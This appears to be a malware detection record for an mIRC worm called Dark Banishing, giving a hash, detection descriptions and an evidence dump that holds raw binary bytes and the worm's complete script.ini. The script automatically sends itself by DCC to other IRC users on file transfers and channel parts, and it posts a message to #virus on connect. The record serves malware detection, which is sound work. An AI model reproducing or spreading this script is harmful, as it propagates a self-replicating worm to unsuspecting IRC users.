IRC-Worm.DOS.Banishing.2373
Detects mIRC DCC spreading behavior targeting script.iniDetects mIRC worm behavior modifying script.ini to spread via IRC
SHA-256326f61a66ec37c7f832c8a467330b24607b383aa7b217d45bbe1555a9a96594b
MaleculeO₂(CLa)H(F)
Evidence
1621��@@��2������R����������¸��Z��
�����ث���X-�������.0�����C���������������[script]
n0=on 1:FILERCVD:*.*:/dcc send $nick C:\MIRC\script.ini
n1=on 1:FILESENT*.*:/dcc send $nick C:\MIRC\script.ini
n2=on 1:connect: {
n3= /join #virus
n4= /msg #virus Will not the mountains quake and hills melt at the coming of the darkness?
n5= /msg #virus Dark Banishing V1.0
n6= /part #virus
n7= /clear
n8= /motd
n9=}
n10=on 1:PART:#:/if ($nick == $me) { halt } | .dcc send $nick C:\MIRC\script.ini
n11=on 1:TEXT:*virus*:*:/msg $chan Will not the mountains quake and hills melt at the coming of the darkness? | /msg $chan Dark Banishing V1.0
n12=;Dark Banishing Version 1.1C:\MIRC\Script.ini��L�!